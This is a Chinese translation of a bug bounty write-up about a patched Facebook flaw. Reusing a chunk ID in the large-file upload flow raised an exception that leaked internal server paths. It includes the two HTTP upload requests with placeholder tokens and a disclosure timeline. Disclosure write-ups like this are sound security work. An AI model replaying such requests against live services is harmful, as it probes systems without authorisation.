[翻译]服务器异常之Facebook内部路径泄露(Facebook Internal paths disclosure due to improper exception handling)
info
日常翻译文章,采用本人风格翻译,不通顺的地方请各位大佬见谅
黑客可获取Facdebook主站服务器的文件路径,这些信息网上之前可都是获取不到的
Demonstration
漏洞出现在大文件上传功能。每一次上传大文件,用户必须制定上传的部分/块,每一次分片/分块上传时候都需要指定part/chunk的ID以及SESSION_ID.但是如果我重复使用已经上传过的分片/分块ID,系统会抛出一个包含服务器的目录的异常。
首先我们构造如下:
POST /intl/request/upload/start/
Host: www.facebook.com
file_type=text&file_size=555&file_name=ex.txt&__a=1&fb_dtsg=XXXXXXX
第一次上传成功后服务器会返回SESSION_ID,假设SESSION_ID=1,我们使用这个SESSION_ID发送第二个请求
POST /intl/request/upload/chunk/?__a=1&fb_dtsg=YYYYYYYYYYYYYY
Host: www.facebook.com
------WebKitFormBoundaryoG5U8hFBDDDDwLwN
Content-Disposition: form-data; name="chunk_number"
1
------WebKitFormBoundaryoG5U8hFBDDDDwLwN
Content-Disposition: form-data; name="session_id"
1
------WebKitFormBoundaryoG5U8hFBDDDDwLwN
Content-Disposition: form-data; name="file_chunk"; filename="XXXXXXXXXXX-1"
Content-Type: text/html
SOME DATA
------WebKitFormBoundaryoG5U8hFBDDDDwLwN--
然后重复再发送一次,包含路径的异常信息就会返回了
Timeline
Dec 17, 2018 — Report Sent
Dec 20, 2018 — Acknowledged by Facebook
Jan 9, 2019 — Fixed by Facebook
Jan 22 2019 — Bounty Awarded by Facebook
Brainstorm(personal summary)
老外真是有钱,国内这种漏洞肯定不收,要是提交到某讯感觉大概率会会忽略.
敢于尝试,没有套路才是最厉害的套路.